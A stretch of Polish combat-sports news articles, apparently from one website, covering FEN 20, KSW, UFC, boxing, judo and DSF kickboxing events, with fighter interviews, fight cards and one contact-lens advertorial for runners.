AG: Trochę tak, ale mój rywal jest wielką niewiadomą na ten moment dla mnie, dopiero po obejrzeniu jego pojedynków będę mógł więcej na ten temat powiedzieć. W Polsce niewiele go zna, ale to pewnie dobry zawodnik. Niepokonany, za każdym razem kończący swoich rywali przed czasem. To musi coś znaczyć.

Ostatnio powiedziałeś, że chciałbyś w końcu stoczyć pojedynek o pas.

AG: Najbliższy pojedynek nie będzie o pas, więc w ogóle o tym nie myślę. Liczą się cztery najbliższe tygodnie i walka z Antolijem Litwinowem. To jest dla mnie najbardziej istotne. Co będzie potem, zobaczymy, niczego nie zakładam, ale też niczego nie wykluczam.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

KSW 43 we Wrocławiu

3 marca wojownicy KSW pojawią się na gali numer 42 w łódzkiej Atlas Arenie. Wiadomo już, gdzie odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. 14 kwietnia KSW zawita do Wrocławia.

Organizatorzy zapewniają, że w Hali Stulecia pojawią się czołowi fighterzy. Należy czekać na nazwiska, które będą stopniowo wypełniać kartę walk. Kibice MMA z Wrocławia przyzwyczaili się, że na galach KSW w ich mieście nie brakuje gwiazd. Jednak zdążyli się już stęsknić za organizacją Lewandowskiego i Kawulskiego. Po raz ostatni w stolicy Dolnego Śląska KSW gościła w grudniu 2013 roku. Dotychczas we Wrocławiu organizacja była obecna trzy razy.

Podczas ostatniej wizyty, KSW 25, kibice MMA mogli podziwiać efektowną wygraną Mameda Khalidova, który w pierwszej rundzie uporał się z Ryutą Sakuraiem. Również przed czasem wygrywali Rafał Moks, Krzysztof Kułak, Mike Hayes (w pierwszych rundach), Rafał Błachuta, Oli Thompson (w drugich rundach) oraz Jakub Kowalewicz (trzecia runda). We Wrocławiu odbyły się również gale: KSW Eliminacje oraz KSW Eliminacje 2. W pierwszym przypadku turniej wygrał Jan Błachowicz, a w walkach dodatkowych wygrywali Łukasz Jurkowski, Krzysztof Kułak i Mamed Khalidov. Z kolei triumfatorem turnieju podczas KSW Eliminacje 2 był Michał Fijałka. Maciej Górski, Kułak i Khalidov triumfowali w walkach dodatkowych.

Teraz Łódź

Zanim gala we Wrocławiu, kibice zobaczą KSW 42 w łódzkiej Atlas Arenie. 3 marca należy spodziewać się niezwykle ciekawych pojedynków. W walce wieczoru zmierzą się mistrzowie wagi średniej i półciężkiej: Mamed Khalidov i Tomasz Narkun. Pasów mistrzowskich będą bronili Ariane Lipski i Mateusz Gamrot. Kolejny pojedynek w KSW stoczy Łukasz Jurkowski, a w organizacji zadebiutują Paulina Owczarz, Paulina Raszewska i Bartłomiej Kopera. Nie wolno również zapomnieć o starciu Michała Materli, który zmierzy się z Scottem Askhamem.

Warto również wspomnieć, że kontrakt z KSW podpisał nowy zawodnik. To Philip de Fries, który rywalizuje w wadze ciężkiej. 31-latek wygrał czternaście walk, zanotował sześć porażek. Aż jedenaście pojedynków zakończył przez poddanie.

KM

Rosjanka postara się zatrzymać Justino

3 marca podczas gali UFC 222 w T-Mobile Arenie w Las Vegas Cristiane Justino po raz drugi będzie broniła pasa wagi piórkowej. Naprzeciw skutecznej do bólu Brazylijki stanie Yana Kunitskaya.

Popularna "Cyborg" jest bezapelacyjną gwiazdą kobiecego MMA. W każdej walce "idzie po swoje". Dosłownie miażdży kolejne rywalki i staje się postrachem dla tych, które z nadzieją spoglądają w stronę pasa wagi piórkowej. W ostatniej walce, 30 grudnia, trudne warunki Brazylijce postawiła Holly Holm. 36-letnia była mistrzyni wagi koguciej UFC wytrzymała z Justino w oktagonie pięć rund. Co prawda przegrała jednogłośnie na punkty, ale "Cyborg" po raz ostatni na pełnym dystansie walczyła blisko dziesięć lat temu! Kibice czekają na występy zawodniczki z Kurytyby, bo wiedzą, że mogą spodziewać się efektownych pojedynków. Dotychczas Justino stoczyła cztery walki w UFC, trzy z nich wygrała przed czasem.

3 marca w Las Vegas wyzwanie Brazylijce rzuci Yana Kunitskaya. 28-latka już w debiucie w UFC ma szansę sięgnąć po mistrzowski pas. Rosjanka może pochwalić się tytułem mistrzyni wagi koguciej organizacji Invicta. W ostatniej walce pokonała Raquel Pa'aluhi, a wcześniej przegrała z Tonyą Evinger, którąw UFC pokonała… Justino. Warto dodać, że Kunitskaya ma na rozkładzie trzy Polki: Magdalenę Jarecką, Kamilę Bałandę i Sylwię Kusiak.

Początkowo mająca za sobą występy w organizacji Invicta zawodniczka miała zadebiutować na lutowej gali UFC on Fox 28. Planowano jej walkę z Sarą McMann, jednak ta została zestawiona z Marion Reneau wobec kontuzji Evinger. Fakt, że Kunitskaya w debiucie zmierzy się z Justino powinien cieszyć Rosjankę. Przy okazji przejścia do UFC 28-latka ostrzegała Brazylijkę. Teraz w oktagonie będzie miała okazję zaprezentować swoje umiejętności.

Edgar musi poczekać                                          

Podczas UFC 222 miało dojść do starcia Frankie Edgara z Maxem Holloway’em o mistrzostwo wagi piórkowej, jednak 26-letni Amerykanin doznał kontuzji. To miało być starcie wieczoru, ale nastąpiły zmiany. Głównym daniem będzie pojedynek Justino z Kunitskayą.

Z kolei w co-main evencie zobaczymy Edgara z Brianem Ortegą, który jeszcze nie zaznał goryczy porażki. Z kolei doświadczony Amerykanin wygrał dwie ostatnie walki. Edgar już dwukrotnie pretendował do pasa mistrzowskiego, ale przegrywał z Jose Aldo. Szykował się do trzeciej walki o tytuł, jednak nie przeszkodzie stanęła kontuzja Hollowaya. Jeśli Edgar pokona Ortegę, zapewne dostatnie jeszcze jedną szansę.

KM

PREMIERA: PZKB TV odc. 14

Zapraszamy do obejrzenia na żywo czternastego świątecznego odcinka programu z serii PZKB TV. Naszym gościem był Prezes Polski Związek Kickboxingu Piotr Siegoczyński. Rozmawialiśmy podczas transmisji live o przeszłości, teraźniejszości i przyszłości jaka czeka polski kickboxing.

[kod]

PREMIERA: PZKB TV odc. 16

Zapraszamy do obejrzenia szesnastego odcinka programu z serii PZKB TV. Naszym gościem był Mistrz Świata w Kickboxingu w formule Light-Contact, posiadacz pasa federacji DSF Kickboxing Challenge oraz wielokrotny Mistrz Polski Łukasz Wichowski.

[kod]

Jotko wraca po kontuzji, walka w kwietniu

Krzysztof Jotko ponownie zaprezentuje się w oktagonie. 28-letni Polak wystąpi podczas gali UFC on Fox 29, która odbędzie się 14 kwietnia w Glendale w Arizonie. Jego rywalem będzie Brad Tavares.

Dobiega końca absencja Krzysztofa Jotko, która była spowodowana kontuzją prawej ręki. Polski zawodnik wagi średniej doznał jej we wrześniowym starciu z Uriahem Hallem. Początkowo wydawało się, że Jotko zmierza po siódme zwycięstwo w UFC, ale w drugiej rundzie inicjatywę przejął rywal i mocnym ciosem zakończył walkę. Dla polskiego fightera była to druga porażka z rzędu, ale wyjątkowo pechowa. Jotko doznał kontuzji prawej ręki i musiał przejść operację, a potem stopniowo wracał do pełnej sprawności. Teraz Polak jest już gotowy na kolejne wyzwanie. 14 kwietnia w Glendale będzie czekał na niego Brad Tavares.

Z pewnością Polak nie może doczekać się kolejnej walki w UFC. Wczoraj podsycał atmosferę w mediach społecznościowych. – Czekacie na mój powrót? Papiery na najbliższą walkę już podpisane – napisał Jotko. Urodzony w Elblągu zawodnik nie będzie miał łatwego zadania. Stanie naprzeciw Brada Tavaresa, który w UFC rywalizuje już od ośmiu lat. 30-letni Amerykanin wygrał trzy ostatnie walki. Ostatnią porażkę zanotował w maju 2015 roku, kiedy przegrał z obecnym mistrzem wagi średniej Robertem Whittakerem. Co warto dodać, w większości przypadków Tavares wygrywa przez decyzję sędziów. Ostatnie dziewięć zwycięstw odnotował właśnie w taki sposób. Inaczej jest w przypadku porażek Amerykanina. Tavares zapisał cztery przegrane na swoim koncie, w tym trzy przed czasem.

Polscy kibice liczą, że Krzysztof Jotko będzie piątym pogromcą 30-latka. Nasz zawodnik potrzebuje zwycięstwa "jak ryba wody". Jotko znalazł się w trudnym położeniu. Jeszcze rok temu był w komfortowej sytuacji. Po pięciu wygranych z rzędu, jego akcje w wadze średniej stały wysoko. Jednak porażki z Davidem Branchem i wspomnianym Hallem sprawiły, że sytuacja Polaka skomplikowała się. Jotko wrócił do zdrowia, 14 kwietnia stoczy dziesiąty pojedynek w UFC. Pozostaje wierzyć, że 28-latek wróci na zwycięską ścieżkę.

W walce wieczoru gali UFC on Fox 29 zmierzą się zawodnicy wagi lekkiej: Justin Gaethje i Dustin Poirier.

Fot. Krzysztof Jotko Facebook

KM

LIVE: Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

[kod]

Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

Sulęcki rywalem Jacobsa?

28 kwietnia w Barclays Center miałoby dojść do starcia Macieja Sulęckiego z Danielem Jacobsem. Rozmowy w sprawie walki są zaawansowane – tak twierdzi Dan Rafael z ESPN.

Od kilku miesięcy Daniel Jacobs jest związany kontraktem promotorskim z Eddiem Hearnem. 31-letni Amerykanin ma wystąpić na gali HBO w Barclays Center, którą zaplanowano na 28 kwietnia. Obecnie trwają poszukiwania rywala dla Jacobsa. Wśród potencjalnych przeciwników Amerykanina wymieniano m.in. Irlandczyka Gary'ego O'Sullivana. 33-latek wygrał pięć ostatnich walk, a po raz ostatni przegrał w grudniu 2015 roku z Chrisem Eubankiem Jr. Kolejnym bokserem, który miał stanąć w szranki z Jacobsem był Andy Lee. Irlandczyk sięgnął w grudniu 2014 roku po tytuł mistrza świata WBO w wadze średniej pokonując Matwieja Korobowa. Tytuł stracił rok później na rzecz Billy'ego Joe Saundersa. W ostatnim pojedynku, marzec 2017, Lee pokonał KeAndrae Leatherwooda.

Jednak wedle ostatnich doniesień to nie pięściarze z Irlandii są faworytami do starcia z Jacobsem. Z byłym mistrzem świata WBA w wadze średniej miałby się zmierzyć Maciej Sulęcki. Co prawda popularny "Striczu" od roku rywalizuje w kategorii super półśredniej i kontynuuje zwycięską serię, co sprawiło, że został wyznaczony do finałowego eliminatora do mistrzowskiego tytułu WBC. 17 marca w Nowym Jorku Polak miałby boksować z Vanesem Martirosyanem.

Sytuacja Sulęckiego wydaje się komfortowa. Pięściarz z Warszawy ma w czym wybierać. Z jednej strony może wykonać krok w stronę mistrzowskiego pasa, z drugiej na horyzoncie pojawia się szansa starcia z mocnym bokserem. Wygrana Sulęckiego, którego akcje z każdą walką idą w górę może umocnić go w hierarchii wagi średniej i otworzyć przed Polakiem nowe możliwości.

Co do Daniela Jacobsa, 31-latek to niezwykle mocny pięściarz. Wygrał ponad 130 amatorskich potyczek, a na zawodowym ringu zanotował 33 zwycięstwa. W debiucie, 7 grudnia 2007 roku, potrzebował zaledwie 29 sekund, aby rozprawić się z Jose Jesusem Hurtado. Pas WBA wywalczył w sierpniu 2014 roku. Skutecznie bronił go w czterech starciach, co dało mu przepustkę do rywalizacji z Gennadijem Gołowkinem o panowanie w wadze średniej. Amerykanin toczył wyrównany bój z Kazachem, jednak to rywal po dwunastu rundach cieszył się ze zwycięstwa.

Nie ma wątpliwości, że Jacobs to fantastyczny pięściarz, ale również niezwykły walczak. Amerykanin wygrał najważniejszy pojedynek – o życie. Siedem lat temu pokonał nowotwór tkanki kostnej.

Czy w kwietniu będziemy obserwować starcie mocnego Amerykanina ze wspaniale rozwijającym się Polakiem? Czas pokaże.

KM

Tałach i Kuczera ze złotymi medalami

Świetny weekend za naszymi judokami. Karolina Tałach (63kg) oraz Piotr Kuczera (90kg) okazali się najlepsi w zawodach European Open, odpowiednio w portugalskim Odivelas i bułgarskiej Sofii. Ale to nie jedyne zdobycze biało-czerwonych.

Zacznijmy od pań, jak zwykło się robić. Zatem, do Odivelas udało się osiem Polek: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska (48kg), Karolina Pieńkowska (52kg),  Anna Borowska (57kg), Julia Kowalczyk (57kg), Karolina Tałach (63kg), Paula Kulaga (78kg), Anna Załęczna (+78kg). Biało-czerwone z dwoma medalami uplasowały się na piątym miejscu w klasyfikacji końcowej. Najlepsze okazały się Japonki, które zdobyły pięć krążków.

Najwięcej powodów do radości z naszych zawodniczek miała Karolina Tałach. W ubiegłym roku 25-letnia zawodniczka ocierała się o podium, dwukrotnie była piąta. Pierwszy start w 2018 roku i od razu zwycięstwo! Po raz ostatni Polka na najwyższym stopniu podium stała w Zagrzebiu we wrześniu 2016 roku, kiedy to zwyciężyła w zawodach Grand Prix. W Portugalii Polka wygrała cztery pojedynki. Na początek uporała się z Angeles Aguilerą Lopez. Później toczyła zacięty bój z mistrzynią świata juniorek w drużynie Honoką Araki. W półfinale Tałach szybko poradziła sobie z najlepszą zawodniczką Oceanii Kathariną Haecker, a w decydującym boju rozbiła Hiszpankę Cristinę Cabanę Perez.

O krok od zwycięstwa była Karolina Pieńkowska (52kg). Lepsza od młodzieżowej mistrzyni Europy z 2015 roku z Bratysławy okazała się Kanadyjka Ecaterina Guica. Pieńkowska wygrała trzy pojedynki. Niewiele do podium zabrakło Julii Kowalczyk. 20-latka zaczęła od dwóch zwycięstw, a w półfinale zatrzymała ją Hiszpanka Jaione Equisoain. W walce o brąz lepsza od Kowalczyk była Japonka Yuka Watabe, która triumfowała przed czasem. Warto dodać, że wcześniej zawodniczka z Kraju Kwitnącej Wiśni odprawiła Annę Borowską. Siódme miejsce zajęła Anna Załęczna. Nasze pozostałe judoczki stoczyły po jednej walce i pożegnały się z turniejem.

Kuczera najlepszy

Poprzedni rok Polak rozpoczął od zwycięstwa w Rzymie. Teraz okazał się najlepszy w Sofii. Piotr Kuczera wygrał pięć pojedynków, po drodze pokonując m.in. Rafała Kozłowskiego. W finale judoka Kejza Team Rybnik wygrał z reprezentantem Izraela Li Kochmanem.

Łącznie w Sofii wystartowało dziesięciu Polaków. O krok od podium był Damian Szwarnowiecki (81kg). Polak o brąz rywalizował z Belgiem Samim Chouchi, jednak przegrał przed czasem. Siódme miejsce Rafała Kozłowskiego (90kg). Damian Stępień (81kg), Szymon Jasiński (66kg) i Bartłomiej Garbacik (60kg) stoczyli tylko po jednej walce. Zwycięsko zaczęli, ale potem przegrywali – tak było w przypadku Jacka Brysza (66kg), który zaliczył trzy starcia oraz Łukasz Golusa (66kg) i Michała Bartusika (73kg). Dwaj ostatni zapisali na swoim koncie po jednym zwycięstwie i jednej porażce.

 

KM

Znamy nazwisko rywala Trybsona na FEN 20!

Znamy nazwisko rywala, z którym 10 marca podczas gali Fight Exclusive Night 20 "Next Level" zmierzy się Paweł "Trybson" Trybała (3-3, 3KO). Naprzeciwko niego w warszawskiej hali Towar zobaczymy Tymoteusza Świątka (15-4, 7 KO, 6 SUB).

„Trybson” kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.

– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział „Trybson”.

Świątek już czterokrotnie walczył pod szyldem FEN i był ważnym ogniwem federacji, gdy ta dopiero wchodziła na salony w polskim MMA. Popularny "Omen" wygrywał z takimi zawodnikami, jak Pavel Svoboda, Gerard Linder czy Martin Fouda. Kibice mieszanych sztuk walki mogą pamiętać go ze słynnej walki z Voctorem Marinho na FEN 6. Świątek z 15 wygranych pojedynków aż 13 zakończył przed czasem. To właśnie je wgoidowiskowy styl ma pomóc w pokonaniu "Trybsona" przed warszawską publicznością.

– Energetyka w tym starciu będzie ogromna, ale ja się cieszę – kibice tłumnie stawią się w Torwarze, by zobaczyć między innymi ten pojedynek. To nie potrwa pełnego dystansu trzech rund – jestem o tym przekonany – powiedział Paweł Jóźwiak, prezes FEN.

Pojedynek Pawła Trybały z Tymoteuszem Świątkiem odbędzie się w limicie umownym 80 kg.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć na stronie: http://fen-mma.com/bilet/

Świątek przed FEN 20: Sorry Paweł, ale będę musiał cię znokautować

Tymoteusz Świątek (15-4, 7 KO, 6 SUB) zmierzy się Pawłem "Trybsonem" Trybałą (3-3, 3 KO) podczas gali Fight Exclusive Night 20 'Next Level", która 10 marca odbędzie się w Warszawie. Poplarny "Omen" podkreśla, że największym jego problemem jest… brak cierpliwości.  – Gotuję się, chciałbym wyjść z nim do klatki już dzisiaj! – powiedział podczas pierwszego wywiadu udzielonego tuż po ogłoszeniu tego zestawienia.

Długo wiesz o tej walce?

TŚ: Trochę już wiem, pewnie ponad dwa tygodnie. Dostałem telefon i od razu się zgodziłem. Warunki mi odpowiadały, nie było z czym zwlekać. Jestem zawodnikiem, jestem wojownikiem, mogę się bić z każdym. Cieszę się, że 10 marca wyjdę naprzeciwko Trybsona. To dobry zawodnik, widziałem kilka jego walk. Jest dobry, ale… ale ja jestem lepszy. Więc, Paweł, sorry, ale będę musiał cię pokonać.

Trybson będzie chciał cię znokautować.

TŚ: Takie gadanie. A ja chcę znokautować jego i to też będę chciał uczynić 10 marca. Przepraszam – to też uczynię. Wyjdę jak po swoje i wygram – taki jest plan.

Do walki zostało pięć tygodni.

TŚ: I to martwi mnie najbardziej – nie mogę się już tego doczekać. Najchętniej przeniósłbym się w czasie do pierwszego gongu i już chciałbym być w klatce. Niestety – do tego muszę jeszcze chwilę poczekać. Mam nadzieję, że to szybko zleci.

Ostatnio znowu było o tobie bardzo głośno.

TŚ: Wiem, ale nie chcę już do tego wracać. Dużo rzeczy za mną, nie wszystko było dobre, kilka razy się pogubiłem, ale każdy popełnia błędy. Zmądrzałem, wydoroślałem, inaczej patrzę na życie. Sport to cały mój świat, nie mogę tego zaprzepaścić. Trochę już się w to bawię, wiem jak smakuje sukces, wiem również co to porażka. Czasami trzeba wpaść w dołek, żeby pewne rzeczy sobie poukładać. Ja już mam ten okres za sobą. Od gali w Warszawie wskoczą na nowy, jeszcze wyższy poziom, nie tylko jako zawodnik, ale też jako człowiek. Zwycięstwo z Trybsonem wprowadzi mnie na właściwy szlak po marzenia, które mam i o które zamierzam walczyć. Wiem, co o mnie napisano, czytałem to, było mi przykro, ale dużo było w tym kłamstw i oszczerstw. Omen wróci do klatki, bo zrobił sobie rachunek sumienia i teraz musi swoją wartość pokazać w oktagonie. Bądźcie ze mną na Torwarze.

Jak spędzisz najbliższe pięć tygodni?

TŚ: Będę zasuwał każdego dnia. Muszę zgubić trochę brzucha, wyrzeźbić się, kaloryfer i te sprawy. A tak poważnie, to wychodzę na trening i walczę o swoje marzenia. To jest dla mnie motywacja, by każdego dnia wstawać rano i się nie poddawać. Zwycięstwo z Trybsonem będzie dla mnie ważne. Coś udowodnię sobie, ale i wszystkim moim hejterom. Paweł, szanuję cię jako zawodnika, ale będziesz musiał ze mną przegrać. Omen wraca w wielkim stylu od zwycięstwa na FEN 20.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bratkowicz z pasem mistrzowskim

Gala DSF Kickboxing Challenge 13 we Wrocławiu niosła ze sobą ogromne sportowe emocje. W walce wieczoru Maksymilian Bratkowicz pokonał Mateusza Kubiszyna. Michał Turyński ponownie lepszy od Dzevada Poturaka, a w meczu międzypaństwowym Polacy przegrali z Czechami.

Niezwykle gorąca atmosfera towarzyszyła pojedynkowi Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas kategorii 86kg. Główni aktorzy gali DSF Kickboxing Challenge 13 we Wrocławiu skutecznie budowali napięcie przed walką. Dodatkową motywacją dla Bratkowicza była chęć rewanżu za porażkę, której doznał podczas DSF "Najlepsi z Najlepszych" w grudniu 2016 roku. W Warszawie na punkty wygrał Kubiszyn. Na przestrzeni ostatnich miesięcy Bratkowicz spisywał się znakomicie i w Budapeszcie zdobył mistrzostwo świata. Teraz chciał być bykiem, który pokona torreadora. Kubiszyn spokojnie podchodził do tych deklaracji i zapowiadał, że to on zasiądzie na tronie. Obaj zawodnicy zapewniali, że w ich walce poleje się krew. Tym razem panowie również spędzili w ringu pełen dystans. Pełna determinacji walka zakończyła się sukcesem Bratkowicza, który w organizacji DSF pokazał ogromne możliwości. Notował porażki, ale niezłomna postawa i ciężka praca doprowadziły go na szczyt. Tym razem Mateusz Kubiszyn musiał przełknąć gorycz porażki.

Michał Turyński ponownie lepszy od Dzevada Poturaka. Wygrał w Sarajewie, triumfował we Wrocławiu i nadal pozostaje w posiadaniu pasa mistrzowskiego WAKO pro w formule low kick w kategorii 94kg. Na przestrzeni pięciu rund doświadczony Bośniak nie potrafił zagrozić Turyńskiemu. Mistrz nie pozostawił sędziom żadnych wątpliwości, co do tego, kto jest lepszym zawodnikiem.

Widowisko godne uwagi – z pewnością tak kibice zapamiętają starcie o pas mistrza świata WAKO Pro w K-1 w kategorii do 64,5kg. Eliasz Jankowski i Yuriy Zhukovsky nie oszczędzali się. Zawodnicy toczyli zacięty bój, jednak ostatni głos należał do sędziów, którzy nie byli jednomyślni. Ze zwycięstwa cieszył się Białorusin.

Nie było wejścia smoka w wykonaniu Pawła Biszczaka do organizacji DSF. Abdallah Mabel wysoko zawiesił poprzeczkę 32-letniemu Polakowi, który do niedawna z powodzeniem rywalizował na galach organizacji FEN. We Wrocławiu Biszczak musiał trzymać na baczności, bo Mabel to wszechstronny zawodnik. Dopiero dogrywka pozwoliła wyłonić zwycięzcę. Triumfował Mabel.

Dawid Zółtaszek po raz pierwszy miał okazję rywalizować w Polsce. Z powodzeniem. Sędziowie nie mieli wątpliwości, kto rozdawał karty w starciu kategorii wagowej +91kg. Łukasz Lipniacki został wypunktowany przez Żółtaszka.

Czesi fantastycznie rozpoczęli mecz międzypaństwowy z Polską. Trzy pojedynki i wszystkie wygrane. Paweł Józefowicz postawił się Denisowi Farkasowi, ale przegrał niejednogłośną decyzją sędziów. Huraganowe ataki Adama Audy szybko przyniosły efekt. Marcin Bachórz przegrał już w pierwszej rundzie. Dzieła dopełnił Anatoli Hunanyan, który w drugiej odsłonie znokautował Dominika Zadorę. Udany debiut w DSF zaliczyła Róża Gumienna, choć nie miała łatwego zadania. Lucie Mlejnkova okazała się twardą i nieustępliwą rywalką. Gumienna wygrała jednak 2:1 po morderczej batalii. W ostatnim pojedynku polsko-czeskiego meczu Adam Gielata pokonał Tadeasa Ruzickę.

W hali Orbita zwycięstwa świętowali również Tomasz Brotoń, po wyrównanej walce z Mateuszem Brusiło, oraz Dominik Tomcia, który jednogłośną decyzją sędziów pokonał Krystiana Bernatowicza.

Kolejna gala DSF Kickboxing Challenge odbędzie się 13 kwietnia na warszawskim Torwarze.

Fot. DSF Kickboxing Challenge Facebook

KM

Najlepsze soczewki kontaktowe dla biegacza

Wada wzroku nie musi przeszkadzać w wykonywaniu ulubionych aktywności fizycznych na co dzień. Najlepsze szkła kontaktowe dla biegaczy to takie, które wykonane są z lekkich i miękkich hydrożelowych materiałów. Soczewki nie parują i zapewniają szerokie pole ostrego widzenia a ryzyko, że wypadną z oka jest minimalne. Dla osób aktywnych fizyczne zalecane są szkła kontaktowe jednodniowe.

Jakie soczewki kontaktowe dla osób uprawiających sport?

Soczewki kontaktowe powinny być dobierane indywidualnie do wady wzroku, tylko i wyłącznie w profesjonalnym gabinecie okulistycznym. Poszczególne schorzenia oczu wymagają odmiennej korekcji, czasem innej na każde oko, dlatego dobór soczewek powinien być uzgodniony z okulistą.  O rodzajach szkieł kontaktowych przeznaczonych do korekcji konkretnej wady wzroku można przeczytać na stronie internetowej: mojepierwszesoczewki.pl. Za pośrednictwem portalu można również umówić się na wizytę u okulisty rozszerzoną o dobór soczewek.

Miękkie soczewki kontaktowe jednodniowe

Miękkie soczewki kontaktowe korygują większość wad wzroku. Wykonane są z delikatnych hydrożelowych lub silikonowo-hydrożelowych materiałów o dużej przepuszczalności tlenu, dlatego idealnie sprawdzają się dla osób uprawiających sport, w tym także biegaczy. Dobrze dobrane soczewki kontaktowe są nieodczuwalne w oku i pozwalają komfortowo ćwiczyć ulubioną dziedzinę sportową. Dla osób prowadzących aktywny tryb życia polecane są soczewki jednodniowe, które nie wymagają codziennej pielęgnacji i są bardzo wygodne w użytkowaniu. 

Soczewki kontaktowe – zalety

Soczewki kontaktowe, w przeciwieństwie do tradycyjnych okularów korekcyjnych, nie parują przy zmianie temperatury. Nie ograniczają one również widzenia w wyniku niekorzystnych warunków atmosferycznych, takich jak: śnieg czy deszcz. Soczewki kontaktowe zapewniają również szerokie pole widzenia a obraz, jaki się widzi nie ulega zniekształceniu. Noszenie szkieł kontaktowych nie przeszkadza w zakładaniu na głowę kasku czy gogli ochronnych, a ryzyko ich zgubienia jest minimalne. Soczewki to idealne rozwiązanie dla osób, o dużych różnicach w natężeniu wad wzroku w prawym i lewym oku. W czasie noszenia szkieł kontaktowych nie występują efekty pryzmatyczne, ponieważ soczewka dopasowuje się do kształtu oka i swobodnie przemieszcza się razem z ruchami gałki ocznej.

Błachowicz nie pozostał dłużny mistrzowi UFC

Wymiana to nieodłączny element MMA, boksu czy kickboxingu. Jednak nie chodzi wyłącznie o ciosy, ale także o słowa. W ostatnich dniach mistrz UFC wagi półciężkiej zakpił z Jana Błachowicza. Polak nie pozostał dłużny i odpowiedział.

Bitwa na słowa

Do klasyki polskiego kina przejdzie powiedzenie głównego bohatera filmu "Kiler" – "Twardym trzeba być, a nie miętkim". I tak właśnie jest w sportach walki. Chwila nieuwagi, może mieć poważne konsekwencje. Ale nie tylko w oktagonie. Zawodnicy MMA udzielają wywiadów, sprawnie funkcjonują w mediach społecznościowych i starają się wykorzystywać te kanały. Dla wielu są to narzędzia, które pozwalają poprawić swoje położenie w hierarchii atrakcyjności. A wymiana słowna z rywalem sprawia, że wartość marketingowa starcia rośnie. Kibice żyją tym, co dzieje się wokół kolejnych gal i walk.

Bohaterem ostatnich dni stał się Jan Błachowicz. Jego nazwisko przywołał mistrz wagi półciężkiej Daniel Cormier. Blisko 39-letni Amerykanin podczas lipcowej gali UFC 226 zmierzy się ze Stipe Miocicem. Pojedynek zapowiada się niezwykle ciekawie, ale z pewnością inni fighterzy wagi półciężkiej chcieliby zaatakować pas. O rewanżu z Cormierem marzy Alexander Gustafsson. Przypomnijmy, Szwed w październiku 2015 roku spędził w oktagonie z Amerykaninem pięć rund i przegrał niejednogłośną decyzją. Gustafsson musi odłożyć swoje marzenia na później. W jednym z programów Cormier w prześmiewczy sposób wypowiedział się o ostatnich walkach Szweda. Oberwał również Jan Błachowicz, który przegrał ze Skandynawem. Mistrz wagi półciężkiej drwił z faktu, że Gustafsson "musiał pójść w zapasy" z Błachowiczem.

